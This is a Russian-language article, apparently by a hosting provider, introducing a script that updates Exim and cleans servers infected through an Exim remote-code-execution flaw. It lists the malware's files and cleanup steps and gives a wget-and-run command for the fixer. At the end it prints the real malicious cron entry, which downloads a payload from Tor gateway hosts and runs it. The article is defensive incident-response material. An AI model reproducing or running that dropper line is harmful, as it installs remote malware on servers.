Собрали весь комплекс выполняемых нами мероприятий для профилактики и лечения последствий взлома через уязвимость Exim в один скрипт. Работает на серверах с ОС Centos, RHEL, Debian, Ubuntu при наличии установленного почтового сервера Exim.
Что делает скрипт?
1. Если операционная система, установленная на сервере:
а. Не Centos 6 — обновляет Exim, переустанавливает curl.
b. Centos 6 — обновляет Exim из тестового репозитория EPEL (релиз в штатные репозитории ожидается 11-12.06), переустанавливает curl.
2. Проверяет наличие заражения на сервере:
a. Если в папке /etc есть следы вирусного скрипта*, делает следующее:
- останавливает cron
- убивает процесс, запущенный вирусным скриптом
- четыре раза убивает процессы curl wget sh (запускаются вирусом по расписанию)
- чистит почтовую очередь от всех писем (заражённые письма нельзя отделить от безвредных, поэтому приходится удалять всю очередь)
- разрешает удаление файлов, где размещены фрагменты вредоносного скрипта: /etc/cron.daily/cronlog /etc/cron.d/root /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/\[kthrotlds\] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp
- удаляет эти файлы
- удаляет задание автозапуска в /etc/rc.local
- удаляет ключ злоумышленника из разрешенных ключей ssh
- запускает cron
- и сразу перезагружает сервер
b. Если следов заражения нет, скрипт завершает работу.
Уточнения
- Все задания планировщика cron вирус удаляет. Поэтому после перезагрузки сервера требуется их повторная настройка или восстановление из резервной копии.
- curl также заражается вирусом, поэтому он переустанавливается.
- Перезагрузка (скрипт выполняет её автоматически после лечения) обязательна — иначе вредонос сохраняется в памяти сервера и самовоспроизводится каждые 30 секунд даже после удаления заражённых файлов.
Ограничение ответственности
Представленное нами решение является тестовым. Оно справляется с поставленными перед ним задачами по обновлению почтового сервера и профилактике взлома через уязвимость в Exim. Мы протестировали его на ряде серверов, однако всегда существуют риски несовместимости версий программного обеспечения или конфликта настроек. Также наш скрипт позволяет вылечить лишь одну из возможных реализаций заражения — не исключено, что есть другие способы эксплуатации уязвимости, которые в наше поле зрения не попали. Отметим, что скрипт не ищет и не устраняет скрытые бэкдоры, через которые возможно повторное заражение. Скрипт является временным решением для восстановления работоспособности сервера, для гарантированной профилактики лучшим решением является переход на новый сервер с той версией операционной системы, которая уже не содержит уязвимости.
Поэтому, используя скрипт, вы делаете это на свой страх и риск. Перед запуском убедитесь, что у вас на руках есть актуальная резервная копия данных сервера.
Как пользоваться?
Для запуска скрипта:
1. Подключитесь к серверу по SSH под пользователем с правами root. Также можно использовать Shell- клиент в панели ISPmanager — Инструменты.
2. В терминале введите команду:
wget http://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh
3. Ожидайте завершения выполнения скрипта и перезагрузки сервера.
4. После перезагрузки проверьте работу сервера и сайтов/приложений, размещённых на нём, перенастройте или восстановите из бэкапа задачи в cron
* Скрипт анализирует задания планировщика на наличие подозрительных включений. Например, таких:
*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp